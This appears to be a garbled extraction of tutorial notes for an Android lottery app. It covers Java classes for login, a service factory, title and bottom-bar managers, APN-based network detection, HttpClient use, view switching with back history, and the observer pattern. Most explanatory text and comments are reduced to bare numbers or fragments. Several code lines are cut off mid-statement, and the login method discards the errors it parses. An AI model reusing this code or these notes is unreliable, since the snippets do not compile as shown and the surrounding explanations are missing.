import	cn.zengfansheng.lottery.net.protocol.element.UserLoginElement;
import	cn.zengfansheng.lottery.util.DES;
/**
	*	
	*	@author	hacket
	*/
public	class	UserServiceImpl	extends	BasicService	implements	UserService	{
				/**
					*	
					*	@param	user		bean
					*	@return		Message
					*/
				public	Message	login(User	user)	{
								//	TODO	:	1UserLoginElement
								UserLoginElement	userLoginElement	=	new	UserLoginElement();
								userLoginElement.getActpassword().setTagValue(user.getPassword());
								
								//	TODO	:	23456
								Message	result	=	getResult(user,	userLoginElement);
								
								//	7body	oelementerrorcode errormsg
								XmlPullParser	parser	=	Xml.newPullParser();
								Message	resultMsg	=	new	Message();
								try	{
												parser.setInput(new	StringReader(result.getBody().getEncodeBodyInfo()));//descbody
												int	eventType	=	parser.getEventType();
												while	(XmlPullParser.END_DOCUMENT	!=	eventType)	{
																String	name	=	"";
																switch	(eventType)	{
																case	XmlPullParser.START_TAG:
																				name	=	parser.getName();
																				if	("errorcode".equalsIgnoreCase(name))	{//	
																								int	errorcode	=	Integer.parseInt(parser.nextText());
																								resultMsg.getBody().getOlement().setErrorcode(errorcode	);
																				}	else	if	("errormsg".equalsIgnoreCase(name))	{//	
																								String	errormsg	=	parser.nextText();
																								resultMsg.getBody().getOlement().setErrormsg(errormsg	);
																				}	
																				break;



																case	XmlPullParser.END_TAG:
																				break;
																}
																eventType	=	parser.next();
												}
												return	result;
								}	catch	(XmlPullParserException	e)	{
												e.printStackTrace();
								}	catch	(IOException	e)	{
												e.printStackTrace();
								}
								return	null;
				}		
}		
④ServiceFactory.java
package	cn.zengfansheng.lottery.factory;
import	java.io.IOException;
import	java.io.InputStream;
import	java.util.Properties;
/**
	*	
	*	@author	hacket
	*/
public	class	ServiceFactory	{
				//	1config.properties
				private	static	Properties	properties;
				static{
								//
								properties	=	new	Properties();
								InputStream	in	=	ServiceFactory.class.getClassLoader().getResourceAsStream("config.properties"
								try	{
												properties.load(in);
								}	catch	(IOException	e)	{
												e.printStackTrace();
								}
				}
				//	2
				public	static	<T>	T	getServiceImplInstance(Class<T>	clazz)	{

								//	1
								String	name	=	clazz.getName();
								System.out.println("name="	+	name);



								//	name=cn.zengfansheng.lottery.engine.UserService

								String	simpleName	=	clazz.getSimpleName();
								System.out.println("simpleName="	+	simpleName);
								//	simpleName=UserService

								//	2
								String	className	=	properties.getProperty(simpleName);
								System.out.println("className="	+	className);

								//	3
								try	{
												@SuppressWarnings("unchecked")
												T	t	=	(T)	Class.forName(className).newInstance();
												return	t;
								}	catch	(ClassNotFoundException	e)	{
												e.printStackTrace();
								}	catch	(InstantiationException	e)	{
												e.printStackTrace();
								}	catch	(IllegalAccessException	e)	{
												e.printStackTrace();
								}
								return	null;
				}
}
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includeincludewidthheight
<!--	1	-->
<include
				android:id="@+id/in_main_top_title"
				android:layout_width="match_parent"
				android:layout_height="wrap_content"
				android:layout_alignParentTop="true"
				layout="@layout/zl_top_title"	/>
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3TopTitleManager
(idString)

<?xml	version="1.0"	encoding="utf-8"?>
<!--		-->
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<!--	1	-->
				<RelativeLayout



								android:id="@+id/rl_top_common_continer_zl"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:background="@drawable/id_title_bg"
								android:visibility="visible"	>
								<ImageButton
												android:id="@+id/ib_top_return_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentLeft="true"
												android:layout_centerVertical="true"
												android:layout_marginLeft="10dp"
												android:background="@drawable/id_title_goback"	/>
								<TextView
												android:id="@+id/tv_top_title_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerInParent="true"
												android:text="201312073D" 	/>
								<ImageButton
												android:id="@+id/ib_top_help_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"
												android:layout_centerVertical="true"
												android:layout_marginRight="10dp"
												android:background="@drawable/id_title_help"	/>
				</RelativeLayout>
				<!--	2	-->
				<RelativeLayout
								android:id="@+id/rl_top_unlogin_continer_zl"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:background="@drawable/id_title_bg"
								android:visibility="invisible"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentLeft="true"
												android:layout_centerVertical="true"
												android:layout_marginBottom="3dp"
												android:layout_marginLeft="10dp"



												android:layout_marginTop="3dp"
												android:src="@drawable/id_cmc_logo"	/>
								<ImageButton
												android:id="@+id/ib_top_register_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"
												android:layout_centerVertical="true"
												android:layout_marginBottom="5dp"
												android:layout_marginRight="15dip"
												android:layout_marginTop="5dp"
												android:background="@drawable/id_purchase_regist"	/>
								<ImageButton
												android:id="@+id/ib_top_login_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerVertical="true"
												android:layout_marginBottom="5dp"
												android:layout_marginRight="10dip"
												android:layout_marginTop="5dp"
												android:layout_toLeftOf="@id/ib_top_register_zl"
												android:background="@drawable/id_purchase_login"	/>
				</RelativeLayout>
				<!--	3	-->
				<RelativeLayout
								android:id="@+id/rl_top_login_continer_zl"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:background="@drawable/id_title_bg"
								android:visibility="gone"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentLeft="true"
												android:layout_centerVertical="true"
												android:layout_marginBottom="3dp"
												android:layout_marginLeft="10dp"
												android:layout_marginTop="3dp"
												android:src="@drawable/id_cmc_logo"	/>
								<ImageButton
												android:id="@+id/ib_purchase_system_info_zl"
												android:layout_width="wrap_content"



												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"
												android:layout_centerVertical="true"
												android:layout_marginRight="10dip"
												android:background="@drawable/id_purchase_system_info"	/>
								<TextView
												android:id="@+id/tv_top_user_info_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerVertical="true"
												android:layout_marginRight="5dip"
												android:layout_toLeftOf="@id/ib_purchase_system_info_zl"
												android:text="@string/is_user_loginned_test"	/>
				</RelativeLayout>
</RelativeLayout>
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										MainActivityTopTitleManager

package	cn.zengfansheng.lottery.view.manager;

	

import	android.app.Activity;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.widget.ImageButton;

import	android.widget.RelativeLayout;

import	android.widget.TextView;

import	cn.zengfansheng.lottery.R;

	

/**

*	

*	@author	hacket

*/

public	class	TopTitleManager	{

	

				/******************	1	******************/

				private	RelativeLayout	topCommonTitle;

				private	RelativeLayout	topUnloginTitle;

				private	RelativeLayout	topLoginTitle;

	

				/******************	2	******************/

				private	ImageButton	ibReturnBtn;

				private	TextView	tvTopTitle;

				private	ImageButton	ibHelpBtn;

	

				/******************	3	******************/

				private	ImageButton	ibRegisterBtn;

				private	ImageButton	ibLoginBtn;

	

				/******************	4	******************/

				private	ImageButton	ibSystemInfoBtn;

				private	TextView	tvUserInfo;

	

				//	1

				private	TopTitleManager(){}

				private	static	final	TopTitleManager	manager	=	new	TopTitleManager();

				public	static	TopTitleManager	getTopTitleManager(){

								return	manager;

				}



	

				/**

					*	2

					*

					*	@param	activity

					*/

				public	void	initComponent(Activity	activity)	{

	

								/******************	1	******************/

								topCommonTitle	=	(RelativeLayout)

activity.findViewById(R.id.rl_top_common_continer_zl);

								topUnloginTitle	=	(RelativeLayout)

activity.findViewById(R.id.rl_top_unlogin_continer_zl);

								topLoginTitle	=	(RelativeLayout)

activity.findViewById(R.id.rl_top_login_continer_zl);

	

								/******************	2	******************/

								ibReturnBtn	=	(ImageButton)

activity.findViewById(R.id.ib_top_return_zl);

								tvTopTitle	=	(TextView)	activity.findViewById(R.id.tv_top_title_zl);

								ibHelpBtn	=	(ImageButton)

activity.findViewById(R.id.ib_top_help_zl);

	

								/******************	3	******************/

									ibRegisterBtn	=	(ImageButton)

activity.findViewById(R.id.ib_top_register_zl);

									ibLoginBtn	=	(ImageButton)

activity.findViewById(R.id.ib_top_login_zl);

	

								/******************	4	******************/

									ibSystemInfoBtn	=	(ImageButton)

activity.findViewById(R.id.ib_purchase_system_info_zl);

									tvUserInfo	=	(TextView)

activity.findViewById(R.id.tv_top_user_info_zl);

				}

	

				/**

					*	3

					*/

				public	void	setBtnListener()	{

								/******************	2	******************/

								ibReturnBtn.setOnClickListener(new	OnClickListener()	{

	

												@Override

												public	void	onClick(View	v)	{

																System.out.println("~~~" );

												}

								});

								ibHelpBtn.setOnClickListener(new	OnClickListener()	{

	

												@Override

												public	void	onClick(View	v)	{

																System.out.println("~~~" );

												}

								});



	

								/******************	3	******************/

								ibRegisterBtn.setOnClickListener(new	OnClickListener()	{

	

												@Override

												public	void	onClick(View	v)	{

																System.out.println("~~~" );

												}

								});

								ibLoginBtn.setOnClickListener(new	OnClickListener()	{

	

												@Override

												public	void	onClick(View	v)	{

																System.out.println("~~~" );

												}

								});

	

								/******************	4	******************/

								ibSystemInfoBtn.setOnClickListener(new	OnClickListener()	{

	

												@Override

												public	void	onClick(View	v)	{

																System.out.println("~~~" );

												}

								});

				}

	

				/**

					*	4

					*/

				public	void	hiddenAllTitle()	{

								topCommonTitle.setVisibility(View.GONE);

								topUnloginTitle.setVisibility(View.GONE);

								topLoginTitle.setVisibility(View.GONE);

				}

	

				/**

					*	5

					*/

				public	void	showCommonTitle()	{

								hiddenAllTitle();//	

								topCommonTitle.setVisibility(View.VISIBLE);

				}

				/**

					*	6

					*/

				public	void	showUnLoginTitle()	{

								hiddenAllTitle();

								topUnloginTitle.setVisibility(View.VISIBLE);

				}

	

				/**

					*	7

					*	@param	userInfo	

					*/



				public	void	showLoginTitle(String	userInfo)	{

								hiddenAllTitle();

								topLoginTitle.setVisibility(View.VISIBLE);

	

								//	

								tvUserInfo.setText(userInfo);

				}

	

				/**

					*	8

					*	@param	resId	id

					*/

				public	void	setTopCommonTitle(int	resId){

								tvTopTitle.setText(resId);

				}

	

				/**

					*	9

					*	@param	tvTitle	

					*/

				public	void	setTopCommonTitle(String	tvTitle){

								tvTopTitle.setText(tvTitle);

				}

}
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1
<?xml	version="1.0"	encoding="utf-8"?>
<!--		-->
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:id="@+id/rl_main_buttom_navigator"
				android:layout_width="match_parent"
				android:layout_height="wrap_content"	>
				<!--	1	-->
				<LinearLayout
								android:id="@+id/ll_common_buttom_navigator_zl"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:orientation="horizontal"
								android:visibility="visible"	>
								<ImageButton
												android:id="@+id/ib_bottom_home_zl"
												android:layout_width="1dp"
												android:layout_height="wrap_content"
												android:layout_gravity="center_vertical"
												android:layout_weight="1"
												android:background="@drawable/id_buttom_bg"
												android:clickable="true"
												android:focusable="true"



												android:src="@drawable/id_lottery_home"
												tools:ignore="ContentDescription"	/>
								<ImageButton
												android:id="@+id/ib_bottom_lottery_hall_zl"
												android:layout_width="1dp"
												android:layout_height="wrap_content"
												android:layout_gravity="center_vertical"
												android:layout_weight="1"
												android:background="@drawable/id_buttom_bg"
												android:clickable="true"
												android:focusable="true"
												android:src="@drawable/id_lottery_hall"
												tools:ignore="ContentDescription"	/>
								<ImageButton
												android:id="@+id/ib_bottom_recharge_zl"
												android:layout_width="1dp"
												android:layout_height="wrap_content"
												android:layout_gravity="center_vertical"
												android:layout_weight="1"
												android:background="@drawable/id_buttom_bg"
												android:clickable="true"
												android:focusable="true"
												android:src="@drawable/id_lottery_recharge"
												tools:ignore="ContentDescription"	/>
								<ImageButton
												android:id="@+id/ib_bottom_lottery_myself_zl"
												android:layout_width="1dp"
												android:layout_height="wrap_content"
												android:layout_gravity="center_vertical"
												android:layout_weight="1"
												android:background="@drawable/id_buttom_bg"
												android:clickable="true"
												android:focusable="true"
												android:gravity="center"
												android:src="@drawable/id_lottery_myself"
												tools:ignore="ContentDescription"	/>
				</LinearLayout>
				<!--		-->
				<LinearLayout
								android:id="@+id/ll_game_bottom_zl"
								android:layout_width="fill_parent"
								android:layout_height="wrap_content"



								android:background="@drawable/id_buttom_menu_bg"
								android:gravity="center_vertical"
								android:orientation="horizontal"
								android:visibility="invisible"	>
								<ImageButton
												android:id="@+id/ib_game_choose_clean_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_marginLeft="5dip"
												android:background="@drawable/id_clear_choose"
												tools:ignore="ContentDescription"	/>
								<TextView
												android:id="@+id/tv_game_choose_notice_zl"
												android:layout_width="0dp"
												android:layout_height="wrap_content"
												android:layout_weight="1.0"
												android:gravity="center_vertical|center_horizontal"
												android:text="@string/is_ssq_default_notice"
												android:textColor="@android:color/white"
												android:textSize="15sp"	/>
								<ImageButton
												android:id="@+id/ib_game_choose_ok_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_marginRight="5dip"
												android:background="@drawable/id_choose_ok"
												tools:ignore="ContentDescription"	/>
				</LinearLayout>
</RelativeLayout>
2BottomNavigatorManager.java
package	cn.zengfansheng.lottery.view.manager;

import	android.app.Activity;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.widget.ImageButton;

import	android.widget.LinearLayout;

import	android.widget.RelativeLayout;

import	android.widget.TextView;

import	cn.zengfansheng.lottery.R;

import	cn.zengfansheng.lottery.util.LogUtil;

/**

	*	

	*	

	*	@author	hacket



	*/

public	class	BottomNavigatorManager	{

				protected	static	final	String	TAG	=	"BottomNavigatorManager";

				/**********		**********/

				private	RelativeLayout	bottomMenuContainer;

				/************		************/

				private	LinearLayout	commonBottom;

				private	LinearLayout	playBottom;

				/*****************		******************/

				/************	1	************/

				private	ImageButton	ibHomeButton;

				private	ImageButton	ibHallButton;

				private	ImageButton	ibRechargeButton;

				private	ImageButton	ivMyselfButton;

				/************	2	************/

				private	ImageButton	ivCleanButton;

				private	ImageButton	ivAddButton;

				private	TextView	tvPlayBottomNotice;

				/*******************		**********************/

				//	

				private	BottomNavigatorManager()	{}

				//	

				private	static	BottomNavigatorManager	instrance;

				//	

				public	static	BottomNavigatorManager	getBottomNavigatorManagerInstance()

{

								if	(instrance	==	null)	{

												instrance	=	new	BottomNavigatorManager();

								}

								return	instrance;

				}

				/**

					*	1

					*	

					*	@param	activity

					*/

				public	void	initComponent(Activity	activity)	{

								/************	1	************/

								bottomMenuContainer	=	(RelativeLayout)

activity.findViewById(R.id.in_main_bottom_navitor);

								commonBottom	=	(LinearLayout)

activity.findViewById(R.id.ll_common_buttom_navigator_zl);



								playBottom	=	(LinearLayout)

activity.findViewById(R.id.ll_game_bottom_zl);

								

								/************	2	************/

								ibHomeButton	=	(ImageButton)

activity.findViewById(R.id.ib_bottom_home_zl);

								ibHallButton	=	(ImageButton)

activity.findViewById(R.id.ib_bottom_lottery_hall_zl);

								ibRechargeButton	=	(ImageButton)

activity.findViewById(R.id.ib_bottom_recharge_zl);

								ivMyselfButton	=(ImageButton)

activity.findViewById(R.id.ib_bottom_lottery_myself_zl);

								

								/************	3	************/

								tvPlayBottomNotice	=	(TextView)

activity.findViewById(R.id.tv_game_choose_notice_zl);

								ivCleanButton	=	(ImageButton)

activity.findViewById(R.id.ib_game_choose_clean_zl);

								ivAddButton	=	(ImageButton)

activity.findViewById(R.id.ib_game_choose_ok_zl);

				}

				public	void	setBtnListener()	{

								/************	2	************/

								ibHomeButton.setOnClickListener(new	OnClickListener()	{

												@Override

												public	void	onClick(View	v)	{

																LogUtil.i(TAG,	"Home~~~");

												}

								});

								ibHallButton.setOnClickListener(new	OnClickListener()	{

												@Override

												public	void	onClick(View	v)	{

																LogUtil.i(TAG,	"Hall~~~");

												}

								});

								ibRechargeButton.setOnClickListener(new	OnClickListener()	{

												@Override

												public	void	onClick(View	v)	{

																LogUtil.i(TAG,	"Recharge~~~");

												}

								});

								ivMyselfButton.setOnClickListener(new	OnClickListener()	{

												@Override

												public	void	onClick(View	v)	{

																LogUtil.i(TAG,	"Myself~~~");

												}

								});

								/************	3	************/

								//	

								ivCleanButton.setOnClickListener(new	OnClickListener()	{



												public	void	onClick(View	v)	{

																LogUtil.i(TAG,	"" );

																//	BaseView	currentView	=

																//	UiManager2.getInstance().getCurrentView();

																//	if	(currentView	instanceof	PlayGame)	{

																//	((PlayGame)	currentView).clearSelected();

																//	}

												}

								});

								//	

								ivAddButton.setOnClickListener(new	OnClickListener()	{

												public	void	onClick(View	v)	{

																LogUtil.i(TAG,	"" );

																//	BaseView	currentView	=

																//	UiManager2.getInstance().getCurrentView();

																//	if	(currentView	instanceof	PlayGame)	{

																//	((PlayGame)	currentView).addSelected2ShoppingList();

																//	}

												}

								});

				}

				

				/**

					*	2

					*/

				public	void	showCommonBottom()	{

								if	(bottomMenuContainer.getVisibility()	==	View.GONE

																||	bottomMenuContainer.getVisibility()	==	View.INVISIBLE)	{

												bottomMenuContainer.setVisibility(View.VISIBLE);

								}

								commonBottom.setVisibility(View.VISIBLE);

								playBottom.setVisibility(View.INVISIBLE);

				}

				/**

					*	3

					*/

				public	void	showGameBottom()	{

								if	(bottomMenuContainer.getVisibility()	==	View.GONE

																||	bottomMenuContainer.getVisibility()	==	View.INVISIBLE)	{

												bottomMenuContainer.setVisibility(View.VISIBLE);

								}

								commonBottom.setVisibility(View.INVISIBLE);

								playBottom.setVisibility(View.VISIBLE);

				}

				/**

					*	4

					*	

					*	@param	notice

					*												

					*/



				public	void	changeGameBottomNotice(String	notice)	{

								tvPlayBottomNotice.setText(notice);

				}

				/**

					*	5

					*	

					*	@param	visibility

					*												

					*/

				public	void	changeBottomVisiblity(int	visibility)	{

								if	(bottomMenuContainer.getVisibility()	!=	visibility)

												bottomMenuContainer.setVisibility(visibility);

				}

}



①wifi
②wap
③net
④
⑤

1wifi
2
①net
②wap(ipport,)
3apnAccess	Point	Name

	
4wifiwifi

①
\packages\providers\TelephonyProvider\AndroidManifest.xml
<provider	android:name="TelephonyProvider"
										android:authorities="telephony"
										android:exported="true"
										android:multiprocess="true"	/>
②uri



\packages\providers\TelephonyProvider\src\com\android\providers\telephony\TelephonyProvider.java
	s_urlMatcher.addURI("telephony",	"carriers/preferapn",	URL_PREFERAPN);
③
\data\data\com.android.providers.telephony\databases\telephony.db
proxy:wapip
port:wapport

[_id,	name,	numeric,	mcc,	mnc,	apn,	user,	server,	password,	proxy,	port,	mmsproxy,	mmsport,	mmsc,	authtype,	type,	current,	protocol,	roaming_protocol,
carrier_enabled,	bearer]

package	cn.zengfansheng.lottery.util;
import	org.apache.commons.lang3.StringUtils;
import	android.content.ContentResolver;
import	android.content.Context;
import	android.database.Cursor;
import	android.net.ConnectivityManager;
import	android.net.NetworkInfo;
import	android.net.Uri;
import	cn.zengfansheng.lottery.GlobalParams;
/**
	*	
	*	@author	hacket
	*/
public	class	NetUtil	{
				/**
					*	1 wifi
					*	@return	true wififalse wifi
					*/
				public	static	boolean	isWifiConnected(Context	context)	{
									
								//ACCESS_NETWORK_STATE	
								ConnectivityManager	manager	=	(ConnectivityManager)	context.getSystemService(Context.
								NetworkInfo	networkInfo	=	manager.getNetworkInfo(ConnectivityManager.TYPE_WIFI
								if	(networkInfo	==	null)	{
												return	false;
								}
								return	networkInfo.isConnected();
				}
				/**
					*	2
					*	@return	truefalse



					*/
				public	static	boolean	isMobileConnected(Context	context)	{
								
								ConnectivityManager	manager	=	(ConnectivityManager)	context.getSystemService(Context.
								NetworkInfo	networkInfo	=	manager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE
								if	(networkInfo==null)	{
												return	false;
								}
								return	networkInfo.isConnected();
				}
				/**
					*	3 apn
					*	@param	context
					*/
				public	static	void	setApn(Context	context)	{
								//s_urlMatcher.addURI("telephony",	"carriers/preferapn",	URL_PREFERAPN);
								ContentResolver	resolver	=	context.getContentResolver();
								Uri	uri	=	Uri.parse("content://telephony/carriers/preferapn");
								Cursor	cursor	=	resolver.query(uri,	null,	null,	null,	null);
								//cursor
[_id,	name,	numeric,	mcc,	mnc,	apn,	user,	server,	password,	proxy,	port,	mmsproxy,	mmsport
								if	(cursor	!=	null	&&	cursor.getCount()	==	1)	{//	 apn
												if	(cursor.moveToNext())	{
																//ip
																GlobalParams.PROXY_IP	=	cursor.getString(cursor.getColumnIndex("proxy"));
																//	
																GlobalParams.PROXY_PORT	=	cursor.getString(cursor.getColumnIndex("port"));
												}
								}
								cursor.close();//	
				}
				/**
					*	4
					*	@param	context
					*	@return
					*/
				public	static	boolean	checkNetwork(Context	context){
								
								//	1 wifi
								if	(isWifiConnected(context))	{
												return	true;
								}



								//	2 apn
								if	(isMobileConnected(context))	{
												setApn(context);
												return	true;
								}
								
								//	3
								return	false;
				}
				/**
					*	5 wapnet
					*	@return	nullwifi wap,net
					*/
				public	static	String	isWap(Context	context)	{
								boolean	mobileConnected	=	isMobileConnected(context);
								if	(!mobileConnected)	{
												return	null;
								}
								ContentResolver	resolver	=	context.getContentResolver();
								Uri	uri	=	Uri.parse("content://telephony/carriers/preferapn");
								Cursor	cursor	=	resolver.query(uri,	null,	null,	null,	null);
								if	(cursor	!=	null	&&	cursor.getCount()	==	1)	{//	 apn
												if	(cursor.moveToNext())	{
																//ip
																String	proxy_ip	=	cursor.getString(cursor.getColumnIndex("proxy"));
																//	
																String	proxy_port	=	cursor.getString(cursor.getColumnIndex("port"));
																if	(!StringUtils.isBlank(proxy_ip)	&&	!StringUtils.isBlank(proxy_port))	{
																				return	"wap";
																}
												}
								}
								cursor.close();
								return	"net";
				}
}



,

1
2
HttpClient

①PostGetURL
							HttpPost	httpPost	=	new	HttpPost(url);
							HttpGet	httpGet	=	new	HttpGet	(url);
②Post
							StringEntity	entity	=	new	StringEntity(xml,	ConstantValue.ENCODING);
							httpPost.setEntity(entity);
③HttpClient	
								httpResponse	=	httpClient.execute(httpPost);
④200
								httpResponse.getStatusLine().getStatusCode()	==	200
⑤
								httpResponse.getEntity().getContent()
⑥
								HttpHost	httpHost	=	new	HttpHost(ConfigParams.PROXY_IP,
ConfigParams.PROXY_PORT);
							
httpClient.getParams().setParameter(ConnRoutePNames.DEFAULT_PROXY,
httpHost);



1
2
3
android2.3
onAnimationEnd	
parent.removeView(view);	2.3	
handler+message

①	ViewViewGroup
(View)		(ViewGroup)
ViewGroupaddViewremoveView(View)removeAllViews()View
ViewGroup.addView(view);

②xml
translate:
AlphaAnimation:
Animation.setAnimationListener(	AnimationListener);
③Handler+Message
④
⑤equals==
Objectequals==
Objectequalsequals
		==equals==
1
ViewGroup
addView(View)ViewViewGroup
removeAllViews()ViewGroupView
removeView(View)ViewGroupView

①
View
ViewgetParent()ViewGroupremoveView(View)removeAllViews()



②a;b)
View
ViewGroupViewandroid2.3
③changeViewtargetView
BaseViewchangeViewBaseViewViewchangeViewUImanager
View
④
UImanagergetView()View

①FristViewgetView
SecondView
removeadd

②

AlphaAnimation.setDuration(duration);//
AlphaAnimation.setStartOffset(delay);//

																				AnimationListener
③
								
④



——

①Top TitleManager
@Override
public	void	onClick(View	v)	{
				LogUtil.i(TAG,	"~~~" );
				SecondView	secondView	=	new	SecondView(topCommonTitle.getContext());
				UIManager.getUiManager().changeView(secondView);
}	

SecondView
UIManagerMapkeyBaseViewsimpleNamevalueBaseView
BaseViewMapchangeViewBaseView
Map
hashCode()
②
	UIManagerchangeView
BaseViewcurrentViewBaseViewBaseView
return

currentViewnull currentView
	
③getView	
SecondView	getView()
SecondeViewBaseView ①Map
SecondViewSecondView
1
①changeView
②mapBaseViewsimpleClassname
③map
2
①
	
1
/**
	*	5
	*	@param	clazz
	*/
public	void	changeView2(Class<?	extends	BaseView>	clazz){



				
				String	className	=	clazz.getSimpleName();
				BaseView	baseView	=	null;
				if	(map.containsKey(className))	{//	mapkey
								baseView	=	map.get(className);
				}	else	{
								try	{
												Constructor<?	extends	BaseView>	constructor	=	clazz.getConstructor(Context.class
												baseView	=	constructor.newInstance(getContext());
												map.put(className,	baseView);
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}
				}
				LogUtil.i(TAG,	baseView.toString());
				View	view	=	baseView.getView();
				rlCenterContentContainer.addView(view);
				
				Animation	animation	=	AnimationUtils.loadAnimation(getContext(),	R.anim.za_view_translate_in
				view.startAnimation(animation);
}

UIManager.getUiManager().changeView(SecondView.class);
2
/**
	*	6
	*	
	*	@param	clazz
	*/
private	Map<String,	BaseView>	map	=	new	HashMap<String,	BaseView>();
private	BaseView	currentBaseView;//	
public	void	changeView(Class<?	extends	BaseView>	clazz){
				
				//	1currentBaseViewnull
				if	(currentBaseView!=null	&&	clazz	==	currentBaseView.getClass())	{
								return;
				}
				
				String	className	=	clazz.getSimpleName();
				BaseView	baseView	=	null;
				if	(map.containsKey(className))	{//	mapkey
								baseView	=	map.get(className);



				}	else	{//	new
								try	{
												Constructor<?	extends	BaseView>	constructor	=	clazz.getConstructor(Context.class
												baseView	=	constructor.newInstance(getContext());
												//	2	BaseView
												currentBaseView	=	baseView;
												map.put(className,	baseView);
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}
				}
				LogUtil.i(TAG,	baseView.toString());
				View	view	=	baseView.getView();
				rlCenterContentContainer.addView(view);
				
				Animation	animation	=	AnimationUtils.loadAnimation(getContext(),	R.anim.za_view_translate_in
				view.startAnimation(animation);
				
}
3getView	
public	class	SecondView	extends	BaseView	{
				private	TextView	tv;
				public	SecondView(Context	context)	{
								super(context);
								init();
				}
				public	void	init()	{
								tv	=	new	TextView(context);
								//LayoutParams	params	=	tv.getLayoutParams();
								LayoutParams	params	=	new	LayoutParams(LayoutParams.MATCH_PARENT,	LayoutParams.
								tv.setLayoutParams(params);
								tv.setText("TextView" );
								tv.setBackgroundColor(Color.RED);
				}
				@Override
				public	View	getView()	{
								return	tv;
				}
}



——

①onKeyDowntrue
②LinkedList

1
2LinkedList
①LinkedListaddFrist
②map
3LinkedList
①LinkedList
②LinkedList
4ActivityonKeyDown

1BaseView	 LinkedList<String>	historyViewsaddFirst()
2UIManagerhistorytrue,
	return	super.onKeyDown(keyCode,	event);		
3 historyViewsBaseViewBaseView historyViewshistory historyViews
falseBaseView 	currentBaseViewBaseView

/**
	*	7
	*/
private	LinkedList<String>	historyViews	=	new	LinkedList<String>();
public	boolean	history()	{
				
				LogUtil.i(TAG,	"llHistory	size:"	+	historyViews.size());
				//	1
				if	(historyViews.size()	>	0)	{
								String	firstClassname	=	historyViews.getFirst();
								if	(currentBaseView.getClass().getSimpleName()
																.equals(firstClassname))	{//	
												
												//	
												if	(historyViews.size()	==	1)	{
																return	false;
												}
												//	



												historyViews.removeFirst();
												//	
												return	history();
								}	else	{//	
												BaseView	otherBaseView	=	views.get(firstClassname);
												rlCenterContentContainer.removeAllViews();
												rlCenterContentContainer.addView(otherBaseView.getView());
												currentBaseView	=	otherBaseView;
												return	true;
								}
				}		
				return	false;
}
/**
	*	6
	*	
	*	@param	clazz
	*/
private	Map<String,	BaseView>	views	=	new	HashMap<String,	BaseView>();
private	BaseView	currentBaseView;//	
public	void	changeView(Class<?	extends	BaseView>	clazz){
				
				//	1currentBaseViewnull
				if	(currentBaseView!=null	&&	clazz	==	currentBaseView.getClass())	{
								return;
				}
				
				String	className	=	clazz.getSimpleName();
				BaseView	baseView	=	null;
				if	(views.containsKey(className))	{//	mapkey
								baseView	=	views.get(className);
				}	else	{//	new
								try	{
												Constructor<?	extends	BaseView>	constructor	=	clazz.getConstructor(Context.class
												baseView	=	constructor.newInstance(getContext());
												views.put(className,	baseView);
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}
				}
				LogUtil.i(TAG,	baseView.toString());
				View	view	=	baseView.getView();



				rlCenterContentContainer.addView(view);
				
				//	2	BaseView
				currentBaseView	=	baseView;
				historyViews.addFirst(className);//	BaseView
				Animation	animation	=	AnimationUtils.loadAnimation(getContext(),	R.anim.za_view_translate_in
				view.startAnimation(animation);
				
}



1
2

1View
2



1java.util.Observable
①setChanged()true,
②notifyObservers()
③notifyObservers(object);	 	
2 java.util.Observer	 Observer
①notifyObservers()notifyObservers(object)
②update(Observable	observable,	Object	data)

	observable		Observer		observable		Observable	
notifyObservers		update	
	

Observer.java
update()
	
Observable.java
	
1boolean	isChange=false;
2List<Observer>	obsevers;
	
3if(isChange)		//			--setChanged()
notifyObservers()//			--notifyObservers()
{
				for(obsevers)//
				{
								item.update();//update()
				}
}
UI
1UiManagerUiManager	
2

1UiManagerjava.util.Observable
2TopBottomManagerjava.util.Observer
3Activity



1	UIManager	java.util.Observable
2 TopTitleManager	BottomNavigatorManager	Observer
3update
@Override
public	void	update(Observable	observable,	Object	data)	{
}

4 UIManager
UIManager.getUiManager().addObserver(titleManager);
UIManager.getUiManager().addObserver(bottomNavigatorManager);
5UIManager
setChanged();//	true
//	notifyObservers();//
notifyObservers(currentBaseView.getViewId());		
6 TopTitleManagerBottomNavigatorManagerupdate
①TopTitleManager
//	10UIManager
@Override
public	void	update(Observable	observable,	Object	data)	{
				if	(data!=null)	{
								if	(StringUtils.isNumeric(data.toString()))	{
												int	viewId	=	Integer.parseInt(data.toString());
												switch	(viewId)	{
												case	ConstantValue.VIEW_FIRSTVIEW:
																showUnLoginTitle();
																break;
												case	ConstantValue.VIEW_SECONDVIEW:
																showCommonTitle();
																break;
												}
								}
				}
}		
②BottomNavigatorManager
//	6UIManager
@Override
public	void	update(Observable	observable,	Object	data)	{
				if	(data	!=	null)	{
								if	(StringUtils.isNumeric(data.toString()))	{
												int	viewId	=	Integer.parseInt(data.toString());
												switch	(viewId)	{



												case	ConstantValue.VIEW_FIRSTVIEW:
																showCommonBottom();
																break;
